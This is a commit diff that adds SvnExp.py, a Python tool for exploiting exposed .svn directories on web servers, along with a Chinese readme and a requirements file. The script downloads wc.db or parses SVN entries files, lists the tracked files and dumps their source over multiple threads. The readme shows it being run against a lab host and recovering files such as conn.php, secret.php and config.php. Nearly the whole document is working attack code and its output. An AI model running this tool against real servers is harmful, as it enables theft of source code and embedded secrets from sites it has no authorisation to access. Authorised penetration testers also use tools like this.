add svn 源代码泄露利用工具
This commit is contained in:
parent
58bc55e0fe
commit
bceeaa5e02
301
svn_file_disclosure/SVN 源代码泄露利用工具/SvnExp.py
Normal file
301
svn_file_disclosure/SVN 源代码泄露利用工具/SvnExp.py
Normal file
@ -0,0 +1,301 @@
|
||||
#coding=utf-8
|
||||
|
||||
import requests,threading
|
||||
import sqlite3,os,re,sys,optparse
|
||||
from prettytable import PrettyTable
|
||||
|
||||
"""
|
||||
第三方库:requests,prettytable
|
||||
* 全局变量定义区
|
||||
"""
|
||||
header={'accept':'text/html,application/xhtml+xml,application/xml',
|
||||
'user-agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Mobile Safari/537.36',
|
||||
'referer':'http://baidu.com'}
|
||||
table_dump = ''
|
||||
if sys.version_info < (3, 0): # 兼容py2和py3
|
||||
import Queue as queue
|
||||
else:
|
||||
import queue
|
||||
|
||||
download_queue = queue.Queue()
|
||||
|
||||
# 下载wc.db
|
||||
def download_db(url):
|
||||
db_url = url+"wc.db"
|
||||
# 判断存放数据库的目录是否存在
|
||||
if(not os.path.exists('dbs')):
|
||||
os.makedirs('dbs')
|
||||
#匹配url中的host,然后作为文件夹名
|
||||
pattern = re.compile(r'(?:\w+\.+)+(?:\w+)')
|
||||
host = pattern.findall(url)
|
||||
# 判断host 这个目录是否存在,如果存在的话就创建 host(i) i 递增
|
||||
if(not os.path.exists("dbs/"+host[0])):
|
||||
os.makedirs("dbs/"+host[0])
|
||||
path = "dbs/"+host[0]
|
||||
else:
|
||||
i = 1
|
||||
while (os.path.exists("dbs/"+host[0]+"("+str(i)+")")):
|
||||
i = i+1
|
||||
os.makedirs("dbs/"+host[0]+"("+str(i)+")")
|
||||
path = "dbs/"+host[0]+"("+str(i)+")"
|
||||
|
||||
# 组成最终地址
|
||||
db_path = path+"/wc.db"
|
||||
# 下载数据库
|
||||
res = requests.get(db_url,headers=header)
|
||||
if res.status_code!=200:
|
||||
print("[-] 未找到%s/wc.db"%url)
|
||||
sys.exit()
|
||||
with open(db_path,"wb") as file:
|
||||
file.write(res.content)
|
||||
return db_path
|
||||
|
||||
# 连接数据库,查询数据库 然后把 local_relpath \ kind \ checksum 取出来
|
||||
def db_conn(db_path):
|
||||
try:
|
||||
conn = sqlite3.connect(db_path)
|
||||
cursor = conn.cursor()
|
||||
cursor.execute("select local_relpath,kind,checksum from NODES")
|
||||
values = cursor.fetchall()
|
||||
return values
|
||||
except:
|
||||
print("[-] wc.db连接失败!")
|
||||
|
||||
def print_values(values):
|
||||
#print("[+] 文件名 | 文件类型 | checksum")
|
||||
table = PrettyTable(["文件名","文件类型","CheckSum"])
|
||||
for v in values:
|
||||
if v[0] :
|
||||
#print("[+] %s %s %s" %(v[0],v[1],v[2]))
|
||||
table.add_row([v[0],v[1],v[2]])
|
||||
table.sort_key("CheckSum")
|
||||
table.reversesort = True
|
||||
print(table)
|
||||
|
||||
# 用queue存放values中的记录,供下载源码使用
|
||||
def gen_queue(values):
|
||||
global download_queue
|
||||
for v in values:
|
||||
if v[0]:
|
||||
download_queue.put(v)
|
||||
|
||||
def down_file(url,db_path):
|
||||
# 获取下载后保存的本地地址
|
||||
path = os.path.dirname(db_path) # dbs/127.0.0.1
|
||||
|
||||
while not download_queue.empty(): # 如果queue不为空
|
||||
value = download_queue.get()
|
||||
#print(value)
|
||||
#sys.exit()
|
||||
if value[1]=="dir":
|
||||
if not os.path.exists(path +"/"+ value[0]):
|
||||
try:
|
||||
os.makedirs(path +"/"+ value[0])
|
||||
except:
|
||||
pass
|
||||
else:
|
||||
# 如果checksum == None 说明文件已经被删除
|
||||
if value[2] == None:
|
||||
continue
|
||||
# 处理checksum
|
||||
checksum = value[2][6:]
|
||||
url_file = url+"pristine/"+checksum[:2]+"/"+checksum+".svn-base"
|
||||
file_uri = ".svn/pristine/"+checksum[:2]+"/"+checksum+".svn-base"
|
||||
#print(url_file)
|
||||
# 下载代码
|
||||
global table_dump
|
||||
try:
|
||||
res = requests.get(url_file,headers=header)
|
||||
except:
|
||||
#print("[-] 下载%s失败!" %url_file)
|
||||
table_dump.add_row([value[0],file_uri,'下载失败'])
|
||||
continue
|
||||
if not os.path.exists(os.path.dirname(path+"/"+value[0])):
|
||||
try:
|
||||
os.makedirs(os.path.dirname(path+"/"+value[0]))
|
||||
except:
|
||||
pass
|
||||
with open(path+"/"+value[0],"wb") as file :
|
||||
file.write(res.content)
|
||||
#global table_dump
|
||||
table_dump.add_row([value[0], file_uri, '下载成功'])
|
||||
download_queue.task_done() # 通知队列已消费完该任务
|
||||
|
||||
def banner():
|
||||
print(""" ____ _____ _ _ _
|
||||
/ ___|_ ___ __ | ____|_ ___ __ | | ___ (_) |_
|
||||
\___ \ \ / / '_ \| _| \ \/ / '_ \| |/ _ \| | __|
|
||||
___) \ V /| | | | |___ > <| |_) | | (_) | | |_
|
||||
|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__|
|
||||
|_|
|
||||
SvnExploit - Dump the source code by svn
|
||||
|
||||
""")
|
||||
|
||||
def svnMoreThan1_7(url,isdump):
|
||||
# svn > 1.7
|
||||
db_path = download_db(url)
|
||||
values = db_conn(db_path)
|
||||
# 判断是否要dump
|
||||
if not isdump:
|
||||
print_values(values)
|
||||
else:
|
||||
global table_dump
|
||||
global download_queue
|
||||
table_dump = PrettyTable(['文件名','URL','下载状态'])
|
||||
print_values(values)
|
||||
gen_queue(values)
|
||||
threads = []
|
||||
for i in range(options.thread_num):
|
||||
thread = threading.Thread(target=down_file, args=(url, db_path,))
|
||||
thread.start()
|
||||
threads.append(thread)
|
||||
for thread in threads:
|
||||
thread.join()
|
||||
|
||||
print("[+] 已经Dump完成!")
|
||||
|
||||
def SvnVersion(url):
|
||||
# if SVN version > 1.7 return True ,else return false
|
||||
url = url + 'entries'
|
||||
res = requests.get(url,headers=header)
|
||||
#print(res.text)
|
||||
if b'12\n' == res.content:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
class SvnLessThan1_7:
|
||||
def __init__(self,url):
|
||||
self.url = url
|
||||
# http://192.168.1.128/.svn/
|
||||
self.file_list = []
|
||||
self.dir_list = []
|
||||
self.flag = False
|
||||
#print(url)
|
||||
# 解析entries
|
||||
def entries(self,url,dir):
|
||||
#print(1)
|
||||
res = requests.get(url,headers=header)
|
||||
list = res.text.split('\n')
|
||||
i = 0
|
||||
for data in list:
|
||||
|
||||
if data == "file":
|
||||
if list[i-1]:
|
||||
if dir:
|
||||
self.file_list.append(dir+'/'+list[i-1])
|
||||
else:
|
||||
self.file_list.append(list[i - 1])
|
||||
#print(dir+list[i-1])
|
||||
elif data == "dir":
|
||||
if list[i-1]:
|
||||
if dir:
|
||||
self.dir_list.append(dir+'/'+list[i-1])
|
||||
else:
|
||||
self.dir_list.append(list[i-1])
|
||||
self.flag = True
|
||||
i = i+1
|
||||
# 循环解析entries
|
||||
def forloop(self):
|
||||
for dir in self.dir_list:
|
||||
#print(os.path.dirname(os.path.dirname(self.url))+dir+'.svn/entries')
|
||||
self.entries(os.path.dirname(os.path.dirname(self.url))+'/'+dir+'/.svn/entries',dir)
|
||||
|
||||
# print file
|
||||
def print_file(self):
|
||||
#print(1)
|
||||
self.entries(self.url+'entries','')
|
||||
if self.flag:
|
||||
self.forloop()
|
||||
table = PrettyTable(['文件名','文件类型','URL'])
|
||||
for name in self.file_list:
|
||||
#print(name)
|
||||
table.add_row([name,'file',
|
||||
os.path.dirname(name)+'/.svn/text-base/'+os.path.basename(name)+'.svn-base'
|
||||
])
|
||||
table.sort_key("URL")
|
||||
table.reversesort = True
|
||||
print(table)
|
||||
|
||||
def dumpFile(self):
|
||||
if (not os.path.exists('dbs')):
|
||||
os.makedirs('dbs')
|
||||
# 匹配url中的host,然后作为文件夹名
|
||||
pattern = re.compile(r'(?:\w+\.+)+(?:\w+)')
|
||||
host = pattern.findall(self.url)
|
||||
# 判断host 这个目录是否存在,如果存在的话就创建 host(i) i 递增
|
||||
if (not os.path.exists("dbs/" + host[0])):
|
||||
os.makedirs("dbs/" + host[0])
|
||||
path = "dbs/" + host[0]
|
||||
else:
|
||||
i = 1
|
||||
while (os.path.exists("dbs/" + host[0] + "(" + str(i) + ")")):
|
||||
i = i + 1
|
||||
os.makedirs("dbs/" + host[0] + "(" + str(i) + ")")
|
||||
path = "dbs/" + host[0] + "(" + str(i) + ")"
|
||||
self.entries(self.url+'entries','')
|
||||
self.forloop()
|
||||
#print(self.dir_list)
|
||||
for dir in self.dir_list:
|
||||
#print(path+dir)
|
||||
if not os.path.exists(path+'/'+dir):
|
||||
os.makedirs(path+'/'+dir)
|
||||
table = PrettyTable(['文件名','URL','下载状态'])
|
||||
for file in self.file_list:
|
||||
if os.path.dirname(file):
|
||||
file_url =os.path.dirname(os.path.dirname(self.url))+'/'+os.path.dirname(file)+'/.svn/text-base/'+os.path.basename(file)+'.svn-base'
|
||||
else:
|
||||
file_url = os.path.dirname(os.path.dirname(self.url)) + os.path.dirname(
|
||||
file) + '/.svn/text-base/' + os.path.basename(file) + '.svn-base'
|
||||
res = requests.get(file_url,headers=header)
|
||||
with open(path+'/'+file,'wb') as f:
|
||||
f.write(res.content)
|
||||
table.add_row([file,
|
||||
os.path.dirname(file)+'/.svn/text-base/'+os.path.basename(file)+'.svn-base',
|
||||
'下载成功'
|
||||
])
|
||||
table.sort_key('URL')
|
||||
table.reversesort=True
|
||||
print(table)
|
||||
|
||||
|
||||
def svnLessThan1_7(url,isdump):
|
||||
svn = SvnLessThan1_7(url)
|
||||
#print(1)
|
||||
if not isdump:
|
||||
svn.print_file()
|
||||
else:
|
||||
svn.dumpFile()
|
||||
|
||||
if __name__ == '__main__':
|
||||
"""
|
||||
命令行参数:
|
||||
svnExp.py -u TargetURL [--dump --thread 5]
|
||||
"""
|
||||
opt = optparse.OptionParser()
|
||||
opt.add_option("-u","--url",action="store",dest="url",help="TargetURL e.g.http://url/.svn")
|
||||
opt.add_option("--thread",action="store",dest="thread_num",type="int",default=5,
|
||||
help="The thread num default is 5")
|
||||
opt.add_option("--dump",action="store_true",dest="dump",
|
||||
help = "Dump file")
|
||||
(options, args) = opt.parse_args()
|
||||
if len(sys.argv) <2 :
|
||||
banner()
|
||||
print("example: SvnExploit.py -u http://192.168.27.128/.svn --dump")
|
||||
sys.exit()
|
||||
banner()
|
||||
if not options.url:
|
||||
print("[-] URL Error!")
|
||||
url = options.url
|
||||
# 在拿到url后判断后面是否有/ 如果没有就加上
|
||||
re_ = re.compile(r'[\w\.\/\:]+/$')
|
||||
if not re_.search(url):
|
||||
url = url+"/"
|
||||
# Get the svn version
|
||||
Sversion = SvnVersion(url)
|
||||
|
||||
if Sversion:
|
||||
svnMoreThan1_7(url,options.dump)
|
||||
else:
|
||||
svnLessThan1_7(url,options.dump)
|
BIN
svn_file_disclosure/SVN 源代码泄露利用工具/images/svnGR1.7.png
Normal file
BIN
svn_file_disclosure/SVN 源代码泄露利用工具/images/svnGR1.7.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 13 KiB |
BIN
svn_file_disclosure/SVN 源代码泄露利用工具/images/svnLE1.7.png
Normal file
BIN
svn_file_disclosure/SVN 源代码泄露利用工具/images/svnLE1.7.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 30 KiB |
153
svn_file_disclosure/SVN 源代码泄露利用工具/readme.md
Normal file
153
svn_file_disclosure/SVN 源代码泄露利用工具/readme.md
Normal file
@ -0,0 +1,153 @@
|
||||
# SVN 源代码泄露利用工具
|
||||
|
||||
>SvnExp是一款SVN源代码利用工具,其完美支持SVN<1.7版本和SVN>1.7版本的SVN源代码泄露,更多请阅读:
|
||||
|
||||
|
||||
## Useage
|
||||
安装依赖库
|
||||
|
||||
```
|
||||
sudo pip install -r requirements.txt
|
||||
```
|
||||
|
||||
查看帮助
|
||||
```
|
||||
python svnExp.py -h
|
||||
```
|
||||
|
||||
检测SVN源代码泄露
|
||||
```
|
||||
python svnExp.py -u http://192.168.27.128/.svn
|
||||
```
|
||||
|
||||
下载源代码
|
||||
```
|
||||
python svnExp.py -u http://192.168.27.128/.svn --dump
|
||||
```
|
||||
## Example
|
||||
### svn > 1.7版本
|
||||

|
||||
|
||||
```
|
||||
python .\svnExp.py -u http://192.168.27.128/unit-2/lab3/.svn/
|
||||
____ _____ _ _ _
|
||||
/ ___|_ ___ __ | ____|_ ___ __ | | ___ (_) |_
|
||||
\___ \ \ / / '_ \| _| \ \/ / '_ \| |/ _ \| | __|
|
||||
___) \ V /| | | | |___ > <| |_) | | (_) | | |_
|
||||
|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__|
|
||||
|_|
|
||||
svnExp - Dump the source code by svn
|
||||
Author: AdminTony (http://admintony.com)
|
||||
https://github.com/admintony/svnExp
|
||||
|
||||
|
||||
+--------------------+----------+------------------------------------------------+
|
||||
| 文件名 | 文件类型 | CheckSum |
|
||||
+--------------------+----------+------------------------------------------------+
|
||||
| conn.php | file | $sha1$8f47ccbd4a436aa4f31018fea026275f6059ed10 |
|
||||
| trunk | dir | None |
|
||||
| branches | dir | None |
|
||||
| admin_login.php | file | $sha1$a6981b1ca963c8a75e133e38780be7ff0cd60952 |
|
||||
| phpmyadmin | file | $sha1$6d5af41c175e344ee483732648edc9318b2a6014 |
|
||||
| README.TXT | file | $sha1$c5981462cc06422f4a78e68f0a48dddcf5860eb9 |
|
||||
| README.txt | file | $sha1$ef4b5f3081dbac31f9fb089aafd60dd2b9474b51 |
|
||||
| secret.php | file | $sha1$2e6a7a6976d31847f0eebf7bbc252bcc1ff4f609 |
|
||||
| README.md | file | $sha1$466f5ab1e4adfd373a23f639e0dd8fcfdce7874b |
|
||||
| img/login_bg01.jpg | file | $sha1$311efc58c4d7035a54fdb8e94d6ba901c56354fd |
|
||||
| img | dir | None |
|
||||
| index.php | file | $sha1$4660847a73ab0906d91841dde9576bd5054b2020 |
|
||||
| test.sql | file | $sha1$096a90da3e471a472874413b18cb2f5dd0567fd1 |
|
||||
| admin.php | file | $sha1$f444d3aad996577872ac7b95a2c05aa11e6b1f8f |
|
||||
| document | dir | None |
|
||||
| tags | dir | None |
|
||||
+--------------------+----------+------------------------------------------------+
|
||||
```
|
||||
|
||||
```
|
||||
python .\svnExp.py -u http://192.168.27.128/unit-2/lab3/.svn/ --dump
|
||||
____ _____ _ _ _
|
||||
/ ___|_ ___ __ | ____|_ ___ __ | | ___ (_) |_
|
||||
\___ \ \ / / '_ \| _| \ \/ / '_ \| |/ _ \| | __|
|
||||
___) \ V /| | | | |___ > <| |_) | | (_) | | |_
|
||||
|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__|
|
||||
|_|
|
||||
svnExp - Dump the source code by svn
|
||||
|
||||
+--------------------+--------------------------------------------------------------------+----------+
|
||||
| 文件名 | URL | 下载状态 |
|
||||
+--------------------+--------------------------------------------------------------------+----------+
|
||||
| conn.php | .svn/pristine/8f/8f47ccbd4a436aa4f31018fea026275f6059ed10.svn-base | 下载成功 |
|
||||
| README.TXT | .svn/pristine/c5/c5981462cc06422f4a78e68f0a48dddcf5860eb9.svn-base | 下载成功 |
|
||||
| README.txt | .svn/pristine/ef/ef4b5f3081dbac31f9fb089aafd60dd2b9474b51.svn-base | 下载成功 |
|
||||
| phpmyadmin | .svn/pristine/6d/6d5af41c175e344ee483732648edc9318b2a6014.svn-base | 下载成功 |
|
||||
| secret.php | .svn/pristine/2e/2e6a7a6976d31847f0eebf7bbc252bcc1ff4f609.svn-base | 下载成功 |
|
||||
| README.md | .svn/pristine/46/466f5ab1e4adfd373a23f639e0dd8fcfdce7874b.svn-base | 下载成功 |
|
||||
| admin_login.php | .svn/pristine/a6/a6981b1ca963c8a75e133e38780be7ff0cd60952.svn-base | 下载成功 |
|
||||
| index.php | .svn/pristine/46/4660847a73ab0906d91841dde9576bd5054b2020.svn-base | 下载成功 |
|
||||
| admin.php | .svn/pristine/f4/f444d3aad996577872ac7b95a2c05aa11e6b1f8f.svn-base | 下载成功 |
|
||||
| test.sql | .svn/pristine/09/096a90da3e471a472874413b18cb2f5dd0567fd1.svn-base | 下载成功 |
|
||||
| img/login_bg01.jpg | .svn/pristine/31/311efc58c4d7035a54fdb8e94d6ba901c56354fd.svn-base | 下载成功 |
|
||||
+--------------------+--------------------------------------------------------------------+----------+
|
||||
[+] 已经Dump完成!
|
||||
```
|
||||
|
||||
## svn < 1.7版本
|
||||
|
||||

|
||||
```
|
||||
python .\svnExp.py -u http://192.168.27.128/unit-2/lab2/.svn/
|
||||
____ _____ _ _ _
|
||||
/ ___|_ ___ __ | ____|_ ___ __ | | ___ (_) |_
|
||||
\___ \ \ / / '_ \| _| \ \/ / '_ \| |/ _ \| | __|
|
||||
___) \ V /| | | | |___ > <| |_) | | (_) | | |_
|
||||
|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__|
|
||||
|_|
|
||||
svnExp - Dump the source code by svn
|
||||
|
||||
+---------------------+----------+---------------------------------------------+
|
||||
| 文件名 | 文件类型 | URL |
|
||||
+---------------------+----------+---------------------------------------------+
|
||||
| favicon.ico | file | /.svn/text-base/favicon.ico.svn-base |
|
||||
| index.html | file | /.svn/text-base/index.html.svn-base |
|
||||
| phpinfo.php | file | /.svn/text-base/phpinfo.php.svn-base |
|
||||
| shell.php | file | /.svn/text-base/shell.php.svn-base |
|
||||
| config/config.php | file | config/.svn/text-base/config.php.svn-base |
|
||||
| css/add.css | file | css/.svn/text-base/add.css.svn-base |
|
||||
| css/colorbox.css | file | css/.svn/text-base/colorbox.css.svn-base |
|
||||
| css/company.css | file | css/.svn/text-base/company.css.svn-base |
|
||||
| images/btn_back.png | file | images/.svn/text-base/btn_back.png.svn-base |
|
||||
| images/gitf.png | file | images/.svn/text-base/gitf.png.svn-base |
|
||||
| js/common.js | file | js/.svn/text-base/common.js.svn-base |
|
||||
| js/jquery.min.js | file | js/.svn/text-base/jquery.min.js.svn-base |
|
||||
| js/loop.js | file | js/.svn/text-base/loop.js.svn-base |
|
||||
+---------------------+----------+---------------------------------------------+
|
||||
```
|
||||
|
||||
```
|
||||
python .\svnExp.py -u http://192.168.27.128/unit-2/lab2/.svn/ --dump
|
||||
____ _____ _ _ _
|
||||
/ ___|_ ___ __ | ____|_ ___ __ | | ___ (_) |_
|
||||
\___ \ \ / / '_ \| _| \ \/ / '_ \| |/ _ \| | __|
|
||||
___) \ V /| | | | |___ > <| |_) | | (_) | | |_
|
||||
|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__|
|
||||
|_|
|
||||
svnExp - Dump the source code by svn
|
||||
|
||||
+---------------------+---------------------------------------------+----------+
|
||||
| 文件名 | URL | 下载状态 |
|
||||
+---------------------+---------------------------------------------+----------+
|
||||
| favicon.ico | /.svn/text-base/favicon.ico.svn-base | 下载成功 |
|
||||
| index.html | /.svn/text-base/index.html.svn-base | 下载成功 |
|
||||
| phpinfo.php | /.svn/text-base/phpinfo.php.svn-base | 下载成功 |
|
||||
| shell.php | /.svn/text-base/shell.php.svn-base | 下载成功 |
|
||||
| config/config.php | config/.svn/text-base/config.php.svn-base | 下载成功 |
|
||||
| css/add.css | css/.svn/text-base/add.css.svn-base | 下载成功 |
|
||||
| css/colorbox.css | css/.svn/text-base/colorbox.css.svn-base | 下载成功 |
|
||||
| css/company.css | css/.svn/text-base/company.css.svn-base | 下载成功 |
|
||||
| images/btn_back.png | images/.svn/text-base/btn_back.png.svn-base | 下载成功 |
|
||||
| images/gitf.png | images/.svn/text-base/gitf.png.svn-base | 下载成功 |
|
||||
| js/common.js | js/.svn/text-base/common.js.svn-base | 下载成功 |
|
||||
| js/jquery.min.js | js/.svn/text-base/jquery.min.js.svn-base | 下载成功 |
|
||||
| js/loop.js | js/.svn/text-base/loop.js.svn-base | 下载成功 |
|
||||
+---------------------+---------------------------------------------+----------+
|
||||
```
|
2
svn_file_disclosure/SVN 源代码泄露利用工具/requirements.txt
Normal file
2
svn_file_disclosure/SVN 源代码泄露利用工具/requirements.txt
Normal file
@ -0,0 +1,2 @@
|
||||
requests
|
||||
prettytable
|
Loading…
x
Reference in New Issue
Block a user